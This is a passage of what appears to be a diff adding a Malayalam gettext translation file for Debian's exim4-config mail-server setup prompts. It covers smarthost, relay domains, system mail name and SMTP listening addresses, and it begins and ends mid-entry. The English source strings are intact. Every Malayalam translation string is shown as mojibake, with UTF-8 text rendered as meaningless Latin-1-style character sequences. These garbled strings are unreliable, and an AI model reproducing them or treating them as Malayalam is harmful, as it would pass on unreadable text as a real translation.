Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "ഇപàµà´ªàµ‹à´³àµâ€ à´•àµà´°à´®àµ€à´•à´°à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨à´¿à´²àµà´²" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "à´•à´¤àµà´¤à´¿à´¨àµà´±àµ† à´•àµà´°à´®àµ€à´•à´°à´£à´¤àµà´¤à´¿à´¨àµà´±àµ† പൊതàµà´µà´¿à´²àµà´³àµà´³ തരം:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "ദയവായി നിങàµà´™à´³àµà´Ÿàµ† ആവശàµà´¯à´™àµà´™à´³àµâ€à´•àµà´•à´¿à´£à´™àµà´™àµà´¨àµà´¨ à´•à´¤àµà´¤àµàµ സേവക à´•àµà´°à´®àµ€à´•à´°à´£à´‚ തെരഞàµà´žàµ†à´Ÿàµà´•àµà´•àµà´•." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"ഡയലàµâ€ അപൠസിസàµà´±àµà´±à´™àµà´™à´³àµà´³àµâ€à´ªàµà´ªàµ†à´Ÿàµ†à´¯àµà´³àµà´³ മാറികàµà´•àµŠà´£àµà´Ÿà´¿à´°à´¿à´•àµà´•àµà´¨àµà´¨ à´à´ªà´¿ വിലാസങàµà´™à´³àµà´³àµà´³ സിസàµà´±àµà´±à´™àµà´™à´³àµâ€ സാധാരണയായി " +"à´ªàµà´±à´¤àµà´¤àµ‡à´•àµà´•àµà´³àµà´³ à´•à´¤àµà´¤àµàµ à´Žà´¤àµà´¤à´¿à´•àµà´•àµà´¨àµà´¨à´¤à´¿à´¨à´¾à´¯à´¿ \"à´¸àµà´®à´¾à´°àµâ€à´Ÿàµà´Ÿàµà´¹àµ‹à´¸àµà´±àµà´±àµ\" à´Žà´¨àµà´¨àµ വിളികàµà´•àµà´¨àµà´¨ മറàµà´±àµŠà´°àµ മഷീനിലേയàµà´•àµà´•àµàµ " +"അയയàµà´•àµà´•à´¾à´¨à´¾à´¯à´¿ à´•àµà´°à´®àµ€à´•à´°à´¿à´•àµà´•àµ‡à´£àµà´Ÿà´¤àµà´£àµà´Ÿàµàµ, കാരണം ഇനàµà´±à´°àµâ€à´¨àµ†à´±àµà´±à´¿à´²àµâ€ à´¸àµà´µàµ€à´•à´°à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨ പല സിസàµà´±àµà´±à´™àµà´™à´³àµà´‚ " +"മാറികàµà´•àµŠà´£àµà´Ÿà´¿à´°à´¿à´•àµà´•àµà´¨àµà´¨ à´à´ªà´¿ വിലാസങàµà´™à´³àµà´³àµà´³ സിസàµà´±àµà´±à´™àµà´™à´³à´¿à´²àµâ€ നിനàµà´¨àµ വരàµà´¨àµà´¨ à´•à´¤àµà´¤àµà´•à´³àµâ€ à´¸àµà´ªà´¾à´‚ " +"സംരകàµà´·à´£à´¤àµà´¤à´¿à´¨à´¾à´¯à´¿ തടയാറàµà´£àµà´Ÿàµàµ." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"മാറികàµà´•àµŠà´£àµà´Ÿà´¿à´°à´¿à´•àµà´•àµà´¨àµà´¨ à´à´ªà´¿ വിലാസങàµà´™à´³àµà´³àµà´³ ഒരൠസിസàµà´±àµà´±à´¤àµà´¤à´¿à´¨àµàµ à´¸àµà´µà´¨àµà´¤à´‚ à´•à´¤àµà´¤àµà´•à´³àµâ€ à´¸àµà´µàµ€à´•à´°à´¿à´¯àµà´•àµà´•à´¾à´‚ " +"à´…à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´•à´®à´¾à´¯à´¿ à´Žà´¤àµà´¤à´¿à´•àµà´•àµà´¨àµà´¨à´¤àµàµ പൂരàµâ€à´£à´®à´¾à´¯àµà´‚ ഒഴിവാകàµà´•à´¾à´‚ (റൂടàµà´Ÿà´¿à´¨àµà´‚ പോസàµà´±àµà´±àµà´®à´¾à´¸àµà´±àµà´±à´°àµâ€à´•àµà´•àµà´®àµà´³àµà´³ " +"à´•à´¤àµà´¤àµà´•à´³àµŠà´´à´¿à´•àµ†)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "തപാലàµâ€ സിസàµà´±àµà´±à´‚ à´•àµà´°à´®àµ€à´•à´°à´¿à´•àµà´•à´¾à´¤àµ†à´¯à´¿à´Ÿà´£à´‚ à´Žà´¨àµà´¨àµà´±à´ªàµà´ªà´¾à´£àµ‹?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"തപാലàµâ€ സിസàµà´±àµà´±à´‚ à´•àµà´°à´®àµ€à´•à´°à´¿à´•àµà´•àµà´¨àµà´¨à´¤àµàµ വരെ à´…à´¤àµàµ കേടായàµà´‚ ഉപയോഗിയàµà´•àµà´•à´¾à´¨àµâ€ പറàµà´±à´¾à´¤àµà´¤à´¤àµà´®à´¾à´¯à´¿à´°à´¿à´¯àµà´•àµà´•àµà´‚. " +"കൈയàµà´ªà´¯àµ‹à´—à´¿à´šàµà´šàµàµ à´…à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ റൂടàµà´Ÿà´¾à´¯à´¿ \"dpkg-reconfigure exim4-config\" à´Žà´¨àµà´¨àµ‹à´Ÿà´¿à´šàµà´šàµ ഇതàµàµ " +"പിനàµà´¨àµ€à´Ÿàµàµ à´•àµà´°à´®àµ€à´•à´°à´¿à´¯àµà´•àµà´•à´¾à´‚." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "സിസàµà´±àµà´±à´¤àµà´¤à´¿à´¨àµà´±àµ† തപാലàµâ€ നാമം:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"\"തപാലàµâ€ നാമം\" à´Žà´¨àµà´¨à´¤àµàµ ഡൊമൈനàµâ€ നാമമിലàµà´²à´¾à´¤àµà´¤ തപാലàµâ€ വിലാസങàµà´™à´³àµ† \"യോഗàµà´¯à´®à´¾à´•àµà´•à´¾à´¨àµâ€\" ഉപയോഗികàµà´•àµà´¨àµà´¨ " +"ഡൊമൈനàµâ€ നാമമാണàµàµ." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"à´ˆ പേരàµàµ മറàµà´±àµ à´ªàµà´°àµ‹à´—àµà´°à´¾à´®àµà´•à´³àµà´‚ ഉപയോഗിയàµà´•àµà´•àµà´¨àµà´¨à´¤à´¾à´¯à´¿à´°à´¿à´¯àµà´•àµà´•àµà´‚. ഇതàµàµ à´’à´±àµà´±, à´®àµà´´àµà´µà´¨àµâ€ ഡൊമൈനàµâ€ നാമമായിരികàµà´•à´£à´‚ " +"(FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"ഉദാഹരണതàµà´¤à´¿à´¨àµàµ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• ഹോസàµà´±àµà´±à´¿à´²àµà´³àµà´³ ഒരൠതപാലàµâ€ വിലാസം foo@example.org à´Žà´¨àµà´¨à´¾à´£àµ†à´™àµà´•à´¿à´²àµâ€ à´ˆ " +"à´à´šàµà´›à´¿à´•à´¤àµà´¤à´¿à´¨àµà´³àµà´³ ശരിയായ വില example.org à´Žà´¨àµà´¨à´¾à´¯à´¿à´°à´¿à´¯àµà´•àµà´•àµà´‚." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"റീറൈറàµà´±à´¿à´™àµà´™àµ à´ªàµà´°à´¾à´µà´°àµâ€à´¤àµà´¤à´¿à´•à´®à´¾à´•àµà´•àµà´•à´¯à´¾à´£àµ†à´™àµà´•à´¿à´²àµâ€ à´ªàµà´±à´¤àµà´¤àµ പോകàµà´¨àµà´¨ à´•à´¤àµà´¤àµà´•à´³à´¿à´²àµ† à´«àµà´°à´‚: വരികളിലàµâ€ à´ˆ പേരàµàµ " +"വരിലàµà´²." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "തപാലàµâ€ à´¸àµà´µàµ€à´•à´°à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨ മറàµà´±àµ ലകàµà´·àµà´¯à´¸àµà´¥à´¾à´¨à´™àµà´™à´³àµâ€:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"ദയവായി à´ˆ മഷീനàµâ€ അവസാന ലകàµà´·àµà´¯à´¸àµà´¥à´¾à´¨à´®à´¾à´¯à´¿ à´¸àµà´µà´¯à´‚ കണകàµà´•à´¾à´•àµà´•àµ‡à´£àµà´Ÿ ലകàµà´·àµà´¯ ഡൊമൈനàµà´•à´³àµà´Ÿàµ† സെമികോളനàµâ€ " +"കൊണàµà´Ÿàµàµ വേരàµâ€à´¤à´¿à´°à´¿à´šàµà´š പടàµà´Ÿà´¿à´• നലàµà´•àµà´•. à´ˆ ഡൊമൈനàµà´•à´³àµâ€ സാധാരണയായി \"local domains\" à´Žà´¨àµà´¨àµàµ " +"വിളിയàµà´•àµà´•à´ªàµà´ªàµ†à´Ÿàµà´¨àµà´¨àµ. à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• ഹോസàµà´±àµà´±àµ നാമങàµà´™à´³à´¾à´¯ (${fqdn}) ഉം \"localhost\" ഉം ഇവിടെ " +"നലàµâ€à´•à´¿à´¯ പടàµà´Ÿà´¿à´•à´¯à´¿à´²àµâ€ à´Žà´ªàµà´ªàµ‹à´´àµà´‚ ചേരàµâ€à´•àµà´•àµà´¨àµà´¨à´¤à´¾à´¯à´¿à´°à´¿à´¯àµà´•àµà´•àµà´‚." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"സഹജമായി à´Žà´²àµà´²à´¾ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• ഡൊമൈനàµà´•à´³àµà´‚ ഒരൠപോലെ കണകàµà´•à´¾à´•àµà´•àµà´¨àµà´¨à´¤à´¾à´¯à´¿à´°à´¿à´•àµà´•àµà´‚. a.example ഉം b." +"example ഉം à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• ഡൊമൈനàµà´•à´³à´¾à´£àµ†à´™àµà´•à´¿à´²àµâ€ acc@a.example ഉം acc@b.example ഉം ഒരേ " +"ലകàµà´·àµà´¯à´¸àµà´¥à´¾à´¨à´¤àµà´¤àµ†à´¤àµà´¤à´¿à´•àµà´•àµà´¨àµà´¨à´¤à´¾à´¯à´¿à´°à´¿à´•àµà´•àµà´‚. à´µàµà´¯à´¤àµà´¯à´¸àµà´¤ ഡൊമൈനàµâ€ നാമങàµà´™à´³àµâ€ à´µàµà´¯à´¤àµà´¯à´¸àµà´¤à´®à´¾à´¯à´¿ കണകàµà´•à´¾à´•àµà´•à´£à´®àµ†à´™àµà´•à´¿à´²àµâ€ " +"പിനàµà´¨àµ€à´Ÿàµ à´•àµà´°à´®àµ€à´•à´°à´£ ഫയലàµà´•à´³à´¿à´²àµâ€ മാറàµà´±à´‚ വരàµà´¤àµà´¤àµ‡à´£àµà´Ÿà´¤àµà´£àµà´Ÿàµàµ." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "à´•à´¤àµà´¤àµà´•à´³àµâ€ റിലേ ചെയàµà´¯àµ‡à´£àµà´Ÿ ഡൊമൈനàµà´•à´³àµâ€:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"ദയവായി à´ˆ സിസàµà´±àµà´±à´‚ à´•à´¤àµà´¤àµà´•à´³àµâ€ റിലേ ചെയàµà´¯àµ‡à´£àµà´Ÿ ലകàµà´·àµà´¯ ഡൊമൈനàµà´•à´³àµà´Ÿàµ†, ഉദാഹരണതàµà´¤à´¿à´¨àµàµ ഒരൠഫാളàµâ€à´¬à´¾à´•àµà´•àµ " +"à´Žà´‚à´Žà´•àµà´¸àµ à´…à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ തപാലàµâ€ ഗേയàµà´±àµà´±àµà´µàµ‡, സെമികോളനàµâ€ കൊണàµà´Ÿàµàµ വേരàµâ€à´¤à´¿à´°à´¿à´šàµà´š പടàµà´Ÿà´¿à´• നലàµà´•àµà´•. ഇതിനരàµâ€à´¤àµà´¥à´‚ à´ˆ " +"സിസàµà´±àµà´±à´‚ à´ˆ ഡൊമൈനàµà´•à´³à´¿à´²àµ‡à´•àµà´•àµà´³àµà´³ à´•à´¤àµà´¤àµà´•à´³àµâ€ ഇനàµà´±à´°àµâ€à´¨àµ†à´±àµà´±à´¿à´²àµ†à´µà´¿à´Ÿàµ† നിനàµà´¨àµà´‚ à´¸àµà´µàµ€à´•à´°à´¿à´¯àµà´•àµà´•àµà´•à´¯àµà´‚ " +"à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´•à´®à´¾à´¯àµà´³àµà´³ à´Žà´¤àµà´¤à´¿à´•àµà´•àµ‡à´£àµà´Ÿ നിയമങàµà´™à´³àµâ€à´•àµà´•à´¨àµà´¸à´°à´¿à´šàµà´šàµàµ à´…à´µ à´Žà´¤àµà´¤à´¿à´¯àµà´•àµà´•àµà´•à´¯àµà´‚ ചെയàµà´¯àµà´‚." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• ഡൊമൈനàµà´•à´³àµâ€ ഇവിടെ à´ªàµà´°à´¸àµà´¤à´¾à´ªà´¿à´•àµà´•à´°àµà´¤àµàµ. വൈലàµâ€à´¡àµà´•à´¾à´°àµâ€à´¡àµà´•à´³àµâ€ വേണമെങàµà´•à´¿à´²àµà´ªà´¯àµ‹à´—à´¿à´•àµà´•à´¾à´‚." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "à´•à´¤àµà´¤àµà´•à´³àµâ€ റിലേ ചെയàµà´¯àµ‡à´£àµà´Ÿ മഷീനàµà´•à´³àµâ€:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"à´¸àµà´®à´¾à´°àµâ€à´Ÿàµà´Ÿàµà´¹àµ‹à´¸àµà´±àµà´±à´¾à´¯à´¿ à´ªàµà´°à´µà´°àµâ€à´¤àµà´¤à´¿à´šàµà´šàµà´•àµŠà´£àµà´Ÿàµàµ നിയനàµà´¤àµà´°à´£à´®à´¿à´²àµà´²à´¾à´¤àµ† à´•à´¤àµà´¤àµà´•à´³àµâ€ റിലേ ചെയàµà´¯àµ‡à´£àµà´Ÿ à´à´ªà´¿ വിലാസ " +"പരിധികളàµâ€ ദയവായി സെമികോളനàµâ€ കൊണàµà´Ÿàµàµ വേരàµâ€à´¤à´¿à´°à´¿à´šàµà´š പടàµà´Ÿà´¿à´•à´¯à´¾à´¯à´¿ നലàµà´•àµà´•." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"നിങàµà´™à´³àµâ€ à´¸àµà´±àµà´±à´¾à´¨àµâ€à´¡àµ‡à´°àµâ€à´¡àµ വിലാസം/à´ªàµà´°à´¿à´«à´¿à´•àµà´¸àµ ഫോരàµâ€à´®à´¾à´±àµà´±àµ (ഉദാ.194.222.242.0/24 à´…à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ " +"5f03:1200:836f::/48) ഉപയോഗിയàµà´•àµà´•à´£à´‚." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "à´ˆ സിസàµà´±àµà´±à´‚ മറàµà´±àµŠà´°àµ സിസàµà´±àµà´±à´¤àµà´¤à´¿à´¨àµà´‚ à´¸àµà´®à´¾à´°àµâ€à´Ÿàµà´Ÿàµà´¹àµ‹à´¸àµà´±àµà´±à´¾à´•àµ‡à´£àµà´Ÿà´¤à´¿à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ à´ˆ കളം വെറàµà´¤àµ†à´¯à´¿à´Ÿàµà´•." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• ഉപയോകàµà´¤à´¾à´•àµà´•à´³àµâ€à´•àµà´•àµàµ കാണാവàµà´¨àµà´¨ ഡൊമൈനàµâ€ നാമം:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"à´ªàµà´±à´¤àµà´¤àµà´ªàµ‹à´•àµà´¨àµà´¨ à´•à´¤àµà´¤àµà´•à´³à´¿à´²àµâ€ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• തപാലàµâ€ നാമം മറചàµà´šàµà´µàµ†à´¯àµà´•à´¾à´¨àµà´³àµà´³ à´à´šàµà´›à´¿à´•à´‚ " +"à´ªàµà´°à´¾à´µà´°àµâ€à´¤àµà´¤à´¿à´•à´®à´¾à´•àµà´•à´¿à´¯à´¿à´Ÿàµà´Ÿàµà´£àµà´Ÿàµàµ. à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• ഉപയോകàµà´¤à´¾à´•àµà´•à´³àµà´Ÿàµ† അയകàµà´•àµà´¨àµà´¨ ആളàµà´Ÿàµ† വിലാസങàµà´™à´³à´¿à´²àµ† ഡൊമൈനàµâ€ " +"à´à´¾à´—à´¤àµà´¤à´¿à´²àµà´ªà´¯àµ‹à´—à´¿à´•àµà´•à´¾à´¨à´¾à´¯à´¿ ഒരൠഡൊമൈനàµâ€ നാമം നലàµà´•àµ‡à´£àµà´Ÿà´¤àµàµ à´…à´¤àµà´¯à´¾à´µà´¶àµà´¯à´®à´¾à´£àµàµ." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "à´ªàµà´±à´¤àµà´¤àµà´ªàµ‹à´•àµà´¨àµà´¨ à´¸àµà´®à´¾à´°àµâ€à´Ÿàµà´Ÿàµà´¹àµ‹à´¸àµà´±àµà´±à´¿à´¨àµà´±àµ† à´à´ªà´¿ വിലാസം à´…à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ ഹോസàµà´±àµà´±àµ നാമം:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"ദയവായി à´ˆ സിസàµà´±àµà´±à´‚ à´ªàµà´±à´¤àµà´¤àµ പോകàµà´¨àµà´¨ à´¸àµà´®à´¾à´°àµâ€à´Ÿàµà´Ÿàµà´¹àµ‹à´¸àµà´±àµà´±à´¾à´¯à´¿ ഉപയോഗികàµà´•àµ‡à´£àµà´Ÿ തപാലàµâ€ സേവകനàµà´±àµ† ഹോസàµà´±àµà´±àµ " +"നാമമോ à´à´ªà´¿ വിലാസമോ നലàµà´•àµà´•. à´† à´¸àµà´®à´¾à´°àµâ€à´Ÿàµà´Ÿàµà´¹àµ‹à´¸àµà´±àµà´±àµ നിങàµà´™à´³àµà´Ÿàµ† à´•à´¤àµà´¤àµàµ ടിസിപി/25 à´²àµâ€ നിനàµà´¨àµà´‚ " +"à´µàµà´¯à´¤àµà´¯à´¸àµà´¤à´®à´¾à´¯ ഒരൠപോരàµâ€à´Ÿàµà´Ÿà´¿à´²àµâ€ മാതàµà´°à´®àµ‡ à´¸àµà´µàµ€à´•à´°à´¿à´•àµà´•àµ‚ à´Žà´™àµà´•à´¿à´²àµâ€ അവസാനം à´°à´£àµà´Ÿàµàµ കോളനàµàµ ശേഷം പോരàµâ€à´Ÿàµà´Ÿàµ സംഖàµà´¯ " +"ചേരàµâ€à´•àµà´•àµà´• (ഉദാഹരണതàµà´¤à´¿à´¨àµàµ smarthost.example::587 à´…à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ 192.168.254.254::2525)." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"à´¸àµà´®à´¾à´°àµâ€à´Ÿàµà´Ÿàµà´¹àµ‹à´¸àµà´±àµà´±à´¿à´¨àµàµ തിരിചàµà´šà´±à´¿à´¯à´²àµâ€ ആവശàµà´¯à´®à´¾à´£àµ†à´™àµà´•à´¿à´²àµâ€ /usr/share/doc/exim4-base/README." +"Debian.gz പരിശോധിചàµà´šàµàµ à´Žà´¸àµâ€‹à´Žà´‚ടിപിയിലെ തിരിചàµà´šà´±à´¿à´¯à´²àµâ€ à´’à´°àµà´•àµà´•àµà´¨àµà´¨à´¤à´¿à´¨àµ† à´•àµà´±à´¿à´šàµà´šàµà´³àµà´³ à´•àµà´±à´¿à´ªàµà´ªàµà´•à´³àµâ€ നോകàµà´•àµà´•." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "റൂടàµà´Ÿàµà´‚ പോസàµà´±àµà´±àµà´®à´¾à´¸àµà´±àµà´±à´°àµâ€ à´•à´¤àµà´¤àµà´•à´³àµà´‚ à´¸àµà´µàµ€à´•à´°à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨à´¯à´¾à´³àµâ€:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"\"postmaster\", \"root\" à´¤àµà´Ÿà´™àµà´™à´¿à´¯ സിസàµà´±àµà´±à´‚ à´…à´•àµà´•àµŒà´£àµà´Ÿà´¿à´²àµ‡à´•àµà´•àµà´³àµà´³ à´•à´¤àµà´¤àµà´•à´³àµâ€ യഥാരàµâ€à´¤àµà´¥ സിസàµà´±àµà´±à´‚ " +"à´à´°à´£à´¾à´§à´¿à´•à´¾à´°à´¿à´¯à´¾à´¯ ഉപയോകàµà´¤à´¾à´µà´¿à´¨àµà´±àµ† à´…à´•àµà´•àµŒà´£àµà´Ÿà´¿à´²àµ‡à´¯àµà´•àµà´•àµàµ തിരിചàµà´šàµàµ വിടേണàµà´Ÿà´¤àµà´£àµà´Ÿàµàµ." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"à´ˆ വില നലàµà´•à´¾à´¤àµ† വിടàµà´Ÿà´¾à´²àµâ€ à´…à´™àµà´™à´¨àµ†à´¯àµà´³àµà´³ à´•à´¤àµà´¤àµà´•à´³àµâ€ /var/mail/mail à´²àµâ€ സൂകàµà´·à´¿à´•àµà´•àµà´¨àµà´¨à´¤à´¾à´£àµàµ, à´…à´¤àµàµ à´¶àµà´ªà´¾à´°àµâ€à´¶ " +"ചെയàµà´¤à´¿à´Ÿàµà´Ÿàµà´³àµà´³à´¤à´²àµà´²." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"പോസàµà´±àµà´±àµà´®à´¾à´¸àµà´±àµà´±à´±àµà´Ÿàµ† à´•à´¤àµà´¤àµàµ മറàµà´±àµ‡à´¤àµ†à´™àµà´•à´¿à´²àµà´®à´¿à´Ÿà´¤àµà´¤àµ‡à´¯àµà´•àµà´•àµàµ മാറി അയയàµà´•àµà´•àµà´¨àµà´¨à´¤à´¿à´¨àµàµ പകരം à´à´¤àµàµ " +"സിസàµà´±àµà´±à´¤àµà´¤à´¿à´²àµ‡à´•àµà´•à´¾à´£àµ‹ à´…à´¤àµàµ ഉദàµà´§àµ‡à´¶à´¿à´šàµà´šà´¤àµàµ à´† സിസàµà´±àµà´±à´¤àµà´¤à´¿à´²àµâ€ വചàµà´šàµàµ തനàµà´¨àµ† വായികàµà´•à´£à´‚, അതൠകൊണàµà´Ÿàµ തനàµà´¨àµ† à´ˆ " +"പടàµà´Ÿà´¿à´•à´¯à´¿à´²àµà´³àµà´³ (à´’à´°àµ) ഉപയോകàµà´¤à´¾à´µàµ†à´™àµà´•à´¿à´²àµà´‚ à´ˆ മഷീനിലàµâ€ നിനàµà´¨àµà´‚ അവരàµà´Ÿàµ† à´•à´¤àµà´¤àµàµ മാറി അയകàµà´•à´°àµà´¤àµàµ. ഒരൠ" +"\"real-\" à´Žà´¨àµà´¨àµàµ à´®àµà´¨àµà´¨à´¿à´²àµâ€ ചേരàµâ€à´¤àµà´¤àµàµ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´•à´®à´¾à´¯à´¿ à´Žà´¤àµà´¤à´¿à´•àµà´•à´¾à´¨àµâ€ നിരàµâ€à´¬à´¨àµà´§à´¿à´¯àµà´•àµà´•à´¾à´‚." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "à´’à´¨àµà´¨à´¿à´²à´§à´¿à´•à´®àµà´³àµà´³ ഉപയോകàµà´¤à´¾à´•àµà´•à´³àµà´Ÿàµ† പേരàµà´•à´³àµâ€ à´¸àµà´ªàµ‡à´¯àµà´¸àµ കൊണàµà´Ÿàµàµ വേരàµâ€à´¤à´¿à´°à´¿à´¯àµà´•àµà´•à´£à´‚." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "à´…à´•à´¤àµà´¤àµ‹à´Ÿàµà´Ÿàµàµ വരàµà´¨àµà´¨ à´Žà´¸àµâ€‹à´Žà´‚ടിപി ബനàµà´§à´™àµà´™à´³àµâ€à´•àµà´•à´¾à´¯à´¿ à´¶àµà´°à´¦àµà´§à´¿à´•àµà´•àµ‡à´£àµà´Ÿ à´à´ªà´¿-വിലാസങàµà´™à´³àµâ€:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"ദയവായി സെമികോളനàµâ€ കൊണàµà´Ÿàµàµ വേരàµâ€à´¤à´¿à´°à´¿à´šàµà´š à´à´ªà´¿ വിലാസങàµà´™à´³àµà´Ÿàµ† പടàµà´Ÿà´¿à´• നലàµà´•àµà´•. à´Žà´•àµà´¸à´¿à´®à´¿à´¨àµà´±àµ† à´Žà´¸àµâ€‹à´Žà´‚ടിപി " +"à´¶àµà´°à´¦àµà´§à´¿à´•àµà´•àµà´¨àµà´¨ നിരനàµà´¤à´°à´ªàµà´°à´µàµƒà´¤àµà´¤à´¿ à´ˆ പടàµà´Ÿà´¿à´•à´¯à´¿à´²àµà´³àµà´³ à´Žà´²àµà´²à´¾ à´à´ªà´¿ വിലാസങàµà´™à´³àµâ€à´•àµà´•àµàµ വേണàµà´Ÿà´¿à´¯àµà´‚ à´¶àµà´°à´¦àµà´§à´¿à´•àµà´•àµà´‚." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"ഒരൠശൂനàµà´¯ വില à´Žà´²àµà´²à´¾ à´²à´àµà´¯à´®à´¾à´¯à´¿à´Ÿàµà´Ÿàµà´³àµà´³ ശൃംഖലയിലേയàµà´•àµà´•àµà´³àµà´³ 